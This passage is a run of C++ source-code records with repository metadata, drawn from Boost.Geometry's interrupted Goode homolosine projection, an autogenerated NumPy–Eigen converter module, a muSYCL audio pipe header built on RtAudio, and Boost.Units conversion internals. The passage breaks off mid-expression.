detail::igh::base_igh_spheroid<T, Parameters>(par)\r\n        {\r\n            detail::igh::setup_igh(params, this->m_par, this->m_proj_parm);\r\n        }\r\n    };\r\n\r\n    #ifndef DOXYGEN_NO_DETAIL\r\n    namespace detail\r\n    {\r\n\r\n        // Static projection\r\n        BOOST_GEOMETRY_PROJECTIONS_DETAIL_STATIC_PROJECTION(srs::spar::proj_igh, igh_spheroid, igh_spheroid)\r\n\r\n        // Factory entry(s)\r\n        BOOST_GEOMETRY_PROJECTIONS_DETAIL_FACTORY_ENTRY_FI(igh_entry, igh_spheroid)\r\n\r\n        BOOST_GEOMETRY_PROJECTIONS_DETAIL_FACTORY_INIT_BEGIN(igh_init)\r\n        {\r\n            BOOST_GEOMETRY_PROJECTIONS_DETAIL_FACTORY_INIT_ENTRY(igh, igh_entry)\r\n        }\r\n\r\n    } // namespace detail\r\n    #endif // doxygen\r\n\r\n} // namespace projections\r\n\r\n}} // namespace boost::geometry\r\n\r\n#endif // BOOST_GEOMETRY_PROJECTIONS_IGH_HPP\r\n\r\n", "meta": {"hexsha": "c1c07c9e95b456ade77493a6ab111124bf017bb8", "size": 18522, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "externals/boost/boost/geometry/srs/projections/proj/igh.hpp", "max_stars_repo_name": "YuukiTsuchida/v8_embeded", "max_stars_repo_head_hexsha": "c6e18f4e91fcc50607f8e3edc745a3afa30b2871", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 995.0, "max_stars_repo_stars_event_min_datetime": "2018-06-22T10:39:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T01:22:14.000Z", "max_issues_repo_path": "externals/boost/boost/geometry/srs/projections/proj/igh.hpp", "max_issues_repo_name": "YuukiTsuchida/v8_embeded", "max_issues_repo_head_hexsha": "c6e18f4e91fcc50607f8e3edc745a3afa30b2871", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 32.0, "max_issues_repo_issues_event_min_datetime": "2018-06-23T14:19:37.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-29T10:20:37.000Z", "max_forks_repo_path": "externals/boost/boost/geometry/srs/projections/proj/igh.hpp", "max_forks_repo_name": "YuukiTsuchida/v8_embeded", "max_forks_repo_head_hexsha": "c6e18f4e91fcc50607f8e3edc745a3afa30b2871", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 172.0, "max_forks_repo_forks_event_min_datetime": "2018-06-22T11:12:00.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T07:44:33.000Z", "avg_line_length": 49.7903225806, "max_line_length": 125, "alphanum_fraction": 0.4636108412, "num_tokens": 4519, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5736784074525096, "lm_q2_score": 0.25683199138751883, "lm_q1q2_score": 0.14733896780204847}}
{"text": "// This file automatically generated by create_export_module.py\n#define NO_IMPORT_ARRAY \n\n#include <NumpyEigenConverter.hpp>\n\n#include <boost/cstdint.hpp>\n\n\nvoid import_D_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_D_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, 1 > >::register_converter();\n}\n\nvoid import_D_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, 2 > >::register_converter();\n}\n\nvoid import_D_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, 3 > >::register_converter();\n}\n\nvoid import_D_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, 4 > >::register_converter();\n}\n\nvoid import_D_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, 5 > >::register_converter();\n}\n\nvoid import_D_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, Eigen::Dynamic, 6 > >::register_converter();\n}\n\nvoid import_1_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_1_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, 1 > >::register_converter();\n}\n\nvoid import_1_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, 2 > >::register_converter();\n}\n\nvoid import_1_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, 3 > >::register_converter();\n}\n\nvoid import_1_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, 4 > >::register_converter();\n}\n\nvoid import_1_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, 5 > >::register_converter();\n}\n\nvoid import_1_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 1, 6 > >::register_converter();\n}\n\nvoid import_2_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_2_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, 1 > >::register_converter();\n}\n\nvoid import_2_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, 2 > >::register_converter();\n}\n\nvoid import_2_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, 3 > >::register_converter();\n}\n\nvoid import_2_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, 4 > >::register_converter();\n}\n\nvoid import_2_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, 5 > >::register_converter();\n}\n\nvoid import_2_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 2, 6 > >::register_converter();\n}\n\nvoid import_3_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_3_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, 1 > >::register_converter();\n}\n\nvoid import_3_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, 2 > >::register_converter();\n}\n\nvoid import_3_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, 3 > >::register_converter();\n}\n\nvoid import_3_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, 4 > >::register_converter();\n}\n\nvoid import_3_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, 5 > >::register_converter();\n}\n\nvoid import_3_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 3, 6 > >::register_converter();\n}\n\nvoid import_4_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_4_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, 1 > >::register_converter();\n}\n\nvoid import_4_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, 2 > >::register_converter();\n}\n\nvoid import_4_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, 3 > >::register_converter();\n}\n\nvoid import_4_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, 4 > >::register_converter();\n}\n\nvoid import_4_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, 5 > >::register_converter();\n}\n\nvoid import_4_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 4, 6 > >::register_converter();\n}\n\nvoid import_5_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_5_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, 1 > >::register_converter();\n}\n\nvoid import_5_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, 2 > >::register_converter();\n}\n\nvoid import_5_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, 3 > >::register_converter();\n}\n\nvoid import_5_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, 4 > >::register_converter();\n}\n\nvoid import_5_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, 5 > >::register_converter();\n}\n\nvoid import_5_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 5, 6 > >::register_converter();\n}\n\nvoid import_6_D_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, Eigen::Dynamic > >::register_converter();\n}\n\nvoid import_6_1_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, 1 > >::register_converter();\n}\n\nvoid import_6_2_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, 2 > >::register_converter();\n}\n\nvoid import_6_3_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, 3 > >::register_converter();\n}\n\nvoid import_6_4_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, 4 > >::register_converter();\n}\n\nvoid import_6_5_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, 5 > >::register_converter();\n}\n\nvoid import_6_6_double()\n{\n\tNumpyEigenConverter<Eigen::Matrix< double, 6, 6 > >::register_converter();\n}\n\n", "meta": {"hexsha": "859565b2406b21b3e125730c46c006cf3322231e", "size": 5533, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "numpy_eigen/src/autogen_module/import_double.cpp", "max_stars_repo_name": "565353780/pytorch-voxblox-plus-plus", "max_stars_repo_head_hexsha": "fd319495b36651cf8c0c9244e0f664fac1afd5ca", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-11-24T11:16:48.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-02T05:14:44.000Z", "max_issues_repo_path": "numpy_eigen/src/autogen_module/import_double.cpp", "max_issues_repo_name": "565353780/pytorch-voxblox-plus-plus", "max_issues_repo_head_hexsha": "fd319495b36651cf8c0c9244e0f664fac1afd5ca", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2021-02-19T14:31:39.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-24T02:55:39.000Z", "max_forks_repo_path": "numpy_eigen/src/autogen_module/import_double.cpp", "max_forks_repo_name": "565353780/pytorch-voxblox-plus-plus", "max_forks_repo_head_hexsha": "fd319495b36651cf8c0c9244e0f664fac1afd5ca", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 3.0, "max_forks_repo_forks_event_min_datetime": "2021-03-24T08:34:25.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-28T07:17:54.000Z", "avg_line_length": 21.7834645669, "max_line_length": 101, "alphanum_fraction": 0.7325140069, "num_tokens": 1550, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5234203489363239, "lm_q2_score": 0.2814056194821862, "lm_q1q2_score": 0.14729342754200828}}
{"text": "#ifndef MUSYCL_AUDIO_HPP\n#define MUSYCL_AUDIO_HPP\n\n/** \\file SYCL abstraction for an audio pipe\n\n    Based on RtAudio library.\n*/\n\n#include <array>\n#include <cstdlib>\n#include <iostream>\n#include <string>\n\n#include <sycl/sycl.hpp>\n\n#include <boost/fiber/buffered_channel.hpp>\n\n#include <range/v3/all.hpp>\n\n#include \"rtaudio/RtAudio.h\"\n\n#include \"musycl/config.hpp\"\n\nnamespace musycl {\n\n/** An audio input/output interface exposed as a SYCL pipe.\n\n    In SYCL the type is used to synthesize the connection between\n    kernels, so there can be only 1 instance of a MIDI input\n    interface. */\nclass audio {\n\npublic:\n\n  /// Audio value type, with data in [ -1, +1 ]\n  using value_type = double;\n\n  /// Stereo mode: use 2 channels\n  static constexpr auto channel_number = 2;\n\n  /** Audio sample type\n\n      In a stereo system, the element .x() or .s0() is the left voice\n      and .y() or .s1() is the right voice */\n  using sample_type = sycl::vec<value_type, channel_number>;\n\n  /// The type of an audio frame\n  /// \\todo Use a movable type?\n  using frame = std::array<sample_type, frame_size>;\n\nprivate:\n\n  /// Capacity of the MIDI message pipe\n  static constexpr auto pipe_min_capacity = 2;\n\n  /// The handler to control the audio input/output interface\n  static inline std::optional<RtAudio> interface;\n\n  /// A FIFO used to implement the pipe of MIDI messages\n  static inline boost::fibers::buffered_channel<frame>\n  output_frames { pipe_min_capacity };\n\n  /// Check for RtAudio errors\n  static constexpr auto check_error = [] (auto&& function) {\n    try {\n      return function();\n    }\n    catch (const RtAudioError &error) {\n      error.printMessage();\n      std::exit(EXIT_FAILURE);\n    }\n  };\n\n\n/** Callback function used by RtAudio to read/write audio samples\n*/\nstatic inline int\naudio_callback(void *output_buffer, void *input_buffer,\n               unsigned int rtaudio_frame_size, double time_stamp,\n               RtAudioStreamStatus status, void * /* user_data */) {\n  if (status)\n    std::cerr << \"Stream underflow detected!\" << std::endl;\n  assert(rtaudio_frame_size == frame_size\n         && \"frame_size needs to be the same as the one used by RtAudio\");\n  // Copy 1 ready frame to the output\n  ranges::copy(output_frames.value_pop(),\n               static_cast<sample_type*>(output_buffer));\n  // 0 to continue mormal operation\n  return 0;\n}\n\npublic:\n\n  void open(const std::string& application_name,\n            const std::string& port_name,\n            const std::string& stream_name,\n            RtAudio::Api backend) {\n    check_error([&] { interface.emplace(backend); });\n    auto device = interface->getDefaultOutputDevice();\n\n    RtAudio::StreamParameters parameters;\n    parameters.deviceId = device;\n    parameters.nChannels = channel_number;\n    // Use channel(s) starting at 0\n    parameters.firstChannel = 0;\n\n    RtAudio::StreamOptions options;\n    options.streamName = stream_name;\n    auto sample_rate = interface->getDeviceInfo(device).preferredSampleRate;\n    if (sample_rate != sample_frequency) {\n      std::cerr << \"Warning: the preferred sample rate \" << sample_rate\n                << \" of the audio interface is not the same as the one \"\n        \"configured in musycl/config.hpp so the quality might be reduced.\"\n                << std::endl;\n      // Forcing the sampling frequency anyway\n      sample_rate = sample_frequency;\n    }\n    unsigned int actual_frame_size = frame_size;\n\n    check_error([&] {\n      interface->openStream(&parameters, nullptr, RTAUDIO_FLOAT64, sample_rate,\n                            &actual_frame_size, audio_callback, nullptr, &options,\n                            [] (RtAudioError::Type type,\n                                const std::string &error_text) {\n                              std::cerr << error_text << std::endl;\n                            });\n    });\n    if (sample_rate != sample_frequency\n        && actual_frame_size != frame_size) {\n      std::cerr << \"Actual sample rate: \" << sample_rate\n                << \"Requested sample rate: \" << sample_frequency\n                << \"\\nActual samples per frame: \" << actual_frame_size\n                << \"\\nRequested samples per frame: \" << frame_size\n                << '.' << std::endl\n                << \"Please update musycl/config.hpp accordingly.\" << std::endl;\n      std::terminate();\n    }\n    // Start the audio streaming\n    check_error([&] { interface->startStream(); });\n  }\n\n\n  /// The sycl::pipe::write-like interface to write a MIDI message\n  template <typename MusyclAudioSample>\n  static inline void write(MusyclAudioSample&& s) {\n    // Check that the output lands in the authorized values\n    auto min = ranges::min(ranges::views::transform\n                           (s, [] (auto e) { return ranges::min(e); }));\n    auto max = ranges::max(ranges::views::transform\n                           (s, [] (auto e) { return ranges::max(e); }));\n    if (min < -1)\n      std::cerr << \"Min saturation detected: \" << min;\n    if (max > 1)\n      std::cerr << \"Max saturation detected: \" << max;\n\n    output_frames.push(std::forward<MusyclAudioSample>(s));\n  }\n};\n\n}\n\n#endif // MUSYCL_AUDIO_HPP\n", "meta": {"hexsha": "b052ad2a0f271caff75a98565c420ec9140b8962", "size": 5137, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "include/musycl/audio.hpp", "max_stars_repo_name": "keryell/muSYCL", "max_stars_repo_head_hexsha": "130e4b29c3a4daf4c908b08263b53910acb13787", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 16.0, "max_stars_repo_stars_event_min_datetime": "2021-05-07T11:33:59.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T02:36:06.000Z", "max_issues_repo_path": "include/musycl/audio.hpp", "max_issues_repo_name": "keryell/muSYCL", "max_issues_repo_head_hexsha": "130e4b29c3a4daf4c908b08263b53910acb13787", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "include/musycl/audio.hpp", "max_forks_repo_name": "keryell/muSYCL", "max_forks_repo_head_hexsha": "130e4b29c3a4daf4c908b08263b53910acb13787", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.5153374233, "max_line_length": 82, "alphanum_fraction": 0.6340276426, "num_tokens": 1190, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.28776782797747225, "lm_q1q2_score": 0.1472555758757244}}
{"text": "// Boost.Units - A C++ library for zero-overhead dimensional analysis and \n// unit/quantity manipulation and conversion\n//\n// Copyright (C) 2003-2008 Matthias Christian Schabel\n// Copyright (C) 2007-2008 Steven Watanabe\n//\n// Distributed under the Boost Software License, Version 1.0. (See\n// accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef BOOST_UNITS_DETAIL_CONVERSION_IMPL_HPP\n#define BOOST_UNITS_DETAIL_CONVERSION_IMPL_HPP\n\n#include <boost/mpl/bool.hpp>\n#include <boost/mpl/and.hpp>\n#include <boost/mpl/divides.hpp>\n#include <boost/preprocessor/seq/enum.hpp>\n#include <boost/type_traits/is_same.hpp>\n\n#include <boost/units/heterogeneous_system.hpp>\n#include <boost/units/homogeneous_system.hpp>\n#include <boost/units/reduce_unit.hpp>\n#include <boost/units/static_rational.hpp>\n#include <boost/units/units_fwd.hpp>\n#include <boost/units/detail/dimension_list.hpp>\n#include <boost/units/detail/heterogeneous_conversion.hpp>\n#include <boost/units/detail/one.hpp>\n#include <boost/units/detail/static_rational_power.hpp>\n#include <boost/units/detail/unscale.hpp>\n\n#include <boost/units/units_fwd.hpp>\n\nnamespace boost {\n\nnamespace units {\n\nnamespace detail {\n\ntemplate<class Source, class Dest>\nstruct conversion_factor_helper;\n\ntemplate<class Source, class Dest>\nstruct call_base_unit_converter;\n\n}\n\n/// INTERNAL ONLY\nstruct undefined_base_unit_converter_base {\n    static const bool is_defined = false;\n};\n\n/// INTERNAL ONLY\nstruct no_default_conversion {\n    static const bool is_defined = false;\n};\n\n/// INTERNAL ONLY\ntemplate<class BaseUnit>\nstruct unscaled_get_default_conversion : no_default_conversion { };\n\n/// INTERNAL ONLY\ntemplate<bool is_defined>\nstruct unscaled_get_default_conversion_impl;\n\n/// INTERNAL ONLY\ntemplate<>\nstruct unscaled_get_default_conversion_impl<true>\n{\n    template<class T>\n    struct apply\n    {\n        typedef typename unscaled_get_default_conversion<typename unscale<T>::type>::type type;\n    };\n};\n\n/// INTERNAL ONLY\ntemplate<>\nstruct unscaled_get_default_conversion_impl<false>\n{\n    template<class T>\n    struct apply\n    {\n        typedef typename T::unit_type type;\n    };\n};\n\n/// INTERNAL ONLY\ntemplate<class BaseUnit>\nstruct get_default_conversion\n{\n    typedef typename unscaled_get_default_conversion_impl<\n        unscaled_get_default_conversion<typename unscale<BaseUnit>::type>::is_defined\n    >::template apply<BaseUnit>::type type;\n};\n\n/// INTERNAL ONLY\ntemplate<class Source, class Destination>\nstruct select_base_unit_converter\n{\n    typedef Source source_type;\n    typedef Destination destination_type;\n};\n\n/// INTERNAL ONLY\ntemplate<class Source, class Dest>\nstruct base_unit_converter_base : undefined_base_unit_converter_base {\n};\n\n/// INTERNAL ONLY\ntemplate<class Source>\nstruct base_unit_converter_base<Source, BOOST_UNITS_MAKE_HETEROGENEOUS_UNIT(Source, typename Source::dimension_type)>\n{\n    static const bool is_defined = true;\n    typedef one type;\n    static type value() {\n        one result;\n        return(result);\n    }\n};\n\n/// INTERNAL ONLY\ntemplate<class Source, class Dest>\nstruct base_unit_converter : base_unit_converter_base<Source, Dest> { };\n\nnamespace detail {\n\ntemplate<class Source, class Dest>\nstruct do_call_base_unit_converter {\n    typedef select_base_unit_converter<typename unscale<Source>::type, typename unscale<Dest>::type> selector;\n    typedef typename selector::source_type source_type;\n    typedef typename selector::destination_type destination_type;\n    typedef base_unit_converter<source_type, destination_type> converter;\n    typedef typename mpl::divides<typename get_scale_list<Source>::type, typename get_scale_list<source_type>::type>::type source_factor;\n    typedef typename mpl::divides<typename get_scale_list<Dest>::type, typename get_scale_list<destination_type>::type>::type destination_factor;\n    typedef typename mpl::divides<source_factor, destination_factor>::type factor;\n    typedef eval_scale_list<factor> eval_factor;\n    typedef typename multiply_typeof_helper<typename converter::type, typename eval_factor::type>::type type;\n    static type value()\n    {\n        return(converter::value() * eval_factor::value());\n    }\n};\n\ntemplate<bool forward_is_defined, bool reverse_is_defined>\nstruct call_base_unit_converter_base_unit_impl;\n\ntemplate<>\nstruct call_base_unit_converter_base_unit_impl<true, true>\n{\n    template<class Source, class Dest>\n    struct apply\n        : do_call_base_unit_converter<Source, typename Dest::unit_type> \n    {\n    };\n};\n\ntemplate<>\nstruct call_base_unit_converter_base_unit_impl<true, false>\n{\n    template<class Source, class Dest>\n    struct apply\n        : do_call_base_unit_converter<Source, typename Dest::unit_type> \n    {\n    };\n};\n\ntemplate<>\nstruct call_base_unit_converter_base_unit_impl<false, true>\n{\n    template<class Source, class Dest>\n    struct apply\n    {\n        typedef do_call_base_unit_converter<Dest, typename Source::unit_type> converter;\n        typedef typename divide_typeof_helper<one, typename converter::type>::type type;\n        static type value() {\n            one numerator;\n            return(numerator / converter::value());\n        }\n    };\n};\n\ntemplate<>\nstruct call_base_unit_converter_base_unit_impl<false, false>\n{\n    template<class Source, class Dest>\n    struct apply\n    {\n        typedef typename reduce_unit<typename get_default_conversion<Source>::type>::type new_source;\n        typedef typename reduce_unit<typename get_default_conversion<Dest>::type>::type new_dest;\n        typedef call_base_unit_converter<Source, new_source> start;\n        typedef detail::conversion_factor_helper<\n            new_source,\n            new_dest\n        > conversion;\n        typedef call_base_unit_converter<Dest, new_dest> end;\n        typedef typename divide_typeof_helper<\n            typename multiply_typeof_helper<\n                typename start::type,\n                typename conversion::type\n            >::type,\n            typename end::type\n        >::type type;\n        static type value() {\n            return(start::value() * conversion::value() / end::value());\n        }\n    };\n};\n\ntemplate<int N>\nstruct get_default_conversion_impl\n{\n    template<class Begin>\n    struct apply\n    {\n        typedef typename Begin::item source_pair;\n        typedef typename source_pair::value_type exponent;\n        typedef typename source_pair::tag_type source;\n        typedef typename get_default_conversion<source>::type new_source;\n        typedef typename get_default_conversion_impl<N-1>::template apply<typename Begin::next> next_iteration;\n        typedef typename multiply_typeof_helper<typename power_typeof_helper<new_source, exponent>::type, typename next_iteration::unit_type>::type unit_type;\n        typedef call_base_unit_converter<source, new_source> conversion;\n        typedef typename multiply_typeof_helper<typename conversion::type, typename next_iteration::type>::type type;\n        static type value() {\n            return(static_rational_power<exponent>(conversion::value()) * next_iteration::value());\n        }\n    };\n};\n\ntemplate<>\nstruct get_default_conversion_impl<0>\n{\n    template<class Begin>\n    struct apply\n    {\n        typedef unit<dimensionless_type, heterogeneous_system<heterogeneous_system_impl<dimensionless_type, dimensionless_type, no_scale> > > unit_type;\n        typedef one type;\n        static one value() {\n            one result;\n            return(result);\n        }\n    };\n};\n\ntemplate<bool is_defined>\nstruct call_base_unit_converter_impl;\n\ntemplate<>\nstruct call_base_unit_converter_impl<true>\n{\n    template<class Source, class Dest>\n    struct apply\n        : do_call_base_unit_converter<Source, Dest> \n    {\n    };\n};\n\ntemplate<>\nstruct call_base_unit_converter_impl<false>\n{\n    template<class Source, class Dest>\n    struct apply {\n        typedef typename reduce_unit<typename get_default_conversion<Source>::type>::type new_source;\n        typedef typename Dest::system_type::type system_list;\n        typedef typename get_default_conversion_impl<system_list::size::value>::template apply<system_list> impl;\n        typedef typename impl::unit_type new_dest;\n        typedef call_base_unit_converter<Source, new_source> start;\n        typedef conversion_factor_helper<new_source, new_dest> conversion;\n        typedef typename divide_typeof_helper<\n            typename multiply_typeof_helper<\n                typename start::type,\n                typename conversion::type\n            >::type,\n            typename impl::type\n        >::type type;\n        static type value() {\n            return(start::value() * conversion::value() / impl::value());\n        }\n    };\n};\n\n#define BOOST_UNITS_DETAIL_BASE_UNIT_CONVERTER_IS_DEFINED(Source, Dest)\\\n    base_unit_converter<\\\n        typename select_base_unit_converter<typename unscale<Source>::type, typename unscale<Dest>::type>::source_type,\\\n        typename select_base_unit_converter<typename unscale<Source>::type, typename unscale<Dest>::type>::destination_type\\\n    >::is_defined\n\ntemplate<class Source, class Dest>\nstruct call_base_unit_converter : call_base_unit_converter_impl<BOOST_UNITS_DETAIL_BASE_UNIT_CONVERTER_IS_DEFINED(Source, Dest)>::template apply<Source, Dest>\n{\n};\n\ntemplate<class Source, class Dest>\nstruct call_base_unit_converter<Source, BOOST_UNITS_MAKE_HETEROGENEOUS_UNIT(Dest, typename Source::dimension_type)> :\n    call_base_unit_converter_base_unit_impl<\n        BOOST_UNITS_DETAIL_BASE_UNIT_CONVERTER_IS_DEFINED(Source, typename Dest::unit_type),\n        BOOST_UNITS_DETAIL_BASE_UNIT_CONVERTER_IS_DEFINED(Dest, typename Source::unit_type)\n    >::template apply<Source, Dest>\n{\n};\n\ntemplate<int N>\nstruct conversion_impl\n{\n    template<class Begin, class DestinationSystem>\n    struct apply\n    {\n        typedef typename conversion_impl<N-1>::template apply<\n            typename Begin::next,\n            DestinationSystem\n        > next_iteration;\n        typedef typename Begin::item unit_pair;\n        typedef typename unit_pair::tag_type unit;\n        typedef typename unit::dimension_type dimensions;\n        typedef typename reduce_unit<units::unit<dimensions, DestinationSystem> >::type reduced_unit;\n        typedef detail::call_base_unit_converter<unit, reduced_unit> converter;\n        typedef typename multiply_typeof_helper<typename converter::type, typename next_iteration::type>::type type;\n        static type value() { return(static_rational_power<typename unit_pair::value_type>(converter::value()) * next_iteration::value()); }\n    };\n};\n\ntemplate<>\nstruct conversion_impl<0>\n{\n    template<class Begin, class DestinationSystem>\n    struct apply\n    {\n        typedef one type;\n        static type value() { one result; return(result); }\n    };\n};\n\n} // namespace detail\n\n/// conversions between homogeneous systems are defined\n/// INTERNAL ONLY\ntemplate<class D, class L1, class T1, class L2, class T2>\nstruct conversion_helper<quantity<unit<D, homogeneous_system<L1> >, T1>, quantity<unit<D, homogeneous_system<L2> >, T2> >\n{\n    /// INTERNAL ONLY\n    typedef quantity<unit<D, homogeneous_system<L2> >, T2> destination_type;\n    /// INTERNAL ONLY\n    typedef typename reduce_unit<unit<D, homogeneous_system<L1> > >::type source_unit;\n    /// INTERNAL ONLY\n    typedef typename source_unit::system_type::type unit_list;\n    static destination_type convert(const quantity<unit<D, homogeneous_system<L1> >, T1>& source)\n    {\n        return(destination_type::from_value(source.value() * \n            detail::conversion_impl<unit_list::size::value>::template apply<\n                unit_list,\n                homogeneous_system<L2>\n            >::value()\n            ));\n    }\n};\n\n/// conversions between heterogeneous systems and homogeneous systems are defined\n/// INTERNAL ONLY\ntemplate<class D, class L1, class T1, class L2, class T2>\nstruct conversion_helper<quantity<unit<D, heterogeneous_system<L1> >, T1>, quantity<unit<D, homogeneous_system<L2> >, T2> >\n{\n    /// INTERNAL ONLY\n    typedef quantity<unit<D, homogeneous_system<L2> >, T2> destination_type;\n    static destination_type convert(const quantity<unit<D, heterogeneous_system<L1> >, T1>& source)\n    {\n        return(destination_type::from_value(source.value() * \n            detail::conversion_impl<L1::type::size::value>::template apply<\n                typename L1::type,\n                homogeneous_system<L2>\n            >::value() *\n            eval_scale_list<typename L1::scale>::value()\n            ));\n    }\n};\n\n// There is no simple algorithm for doing this conversion\n// other than just defining it as the reverse of the\n// heterogeneous->homogeneous case\n/// conversions between heterogeneous systems and homogeneous systems are defined\n/// INTERNAL ONLY\ntemplate<class D, class L1, class T1, class L2, class T2>\nstruct conversion_helper<quantity<unit<D, homogeneous_system<L1> >, T1>, quantity<unit<D, heterogeneous_system<L2> >, T2> >\n{\n    /// INTERNAL ONLY\n    typedef quantity<unit<D, heterogeneous_system<L2> >, T2> destination_type;\n    static destination_type convert(const quantity<unit<D, homogeneous_system<L1> >, T1>& source)\n    {\n        return(destination_type::from_value(source.value() /\n            (detail::conversion_impl<L2::type::size::value>::template apply<\n                typename L2::type,\n                homogeneous_system<L1>\n            >::value() *\n            eval_scale_list<typename L2::scale>::value()\n            )\n            ));\n    }\n};\n\n/// Requires that all possible conversions\n/// between base units are defined.\n/// INTERNAL ONLY\ntemplate<class D, class S1, class T1, class S2, class T2>\nstruct conversion_helper<quantity<unit<D, heterogeneous_system<S1> >, T1>, quantity<unit<D, heterogeneous_system<S2> >, T2> >\n{\n    /// INTERNAL ONLY\n    typedef quantity<unit<D, heterogeneous_system<S1> >, T1> source_type;\n    /// INTERNAL ONLY\n    typedef quantity<unit<D, heterogeneous_system<S2> >, T2> destination_type;\n    /// INTERNAL ONLY\n    typedef typename detail::extract_base_units<S1::type::size::value>::template apply<\n        typename S1::type,\n        dimensionless_type\n    >::type from_base_units;\n    /// INTERNAL ONLY\n    typedef typename detail::extract_base_units<S2::type::size::value>::template apply<\n        typename S2::type,\n        from_base_units\n    >::type all_base_units;\n    /// INTERNAL ONLY\n    typedef typename detail::make_homogeneous_system<all_base_units>::type system;\n    /// INTERNAL ONLY\n    typedef typename mpl::divides<typename S1::scale, typename S2::scale>::type result_scale;\n    static destination_type convert(const source_type& source)\n    {\n        return(destination_type::from_value(source.value() * \n            (detail::conversion_impl<S1::type::size::value>::template apply<\n                typename S1::type,\n                system\n            >::value() * eval_scale_list<result_scale>::value() /\n            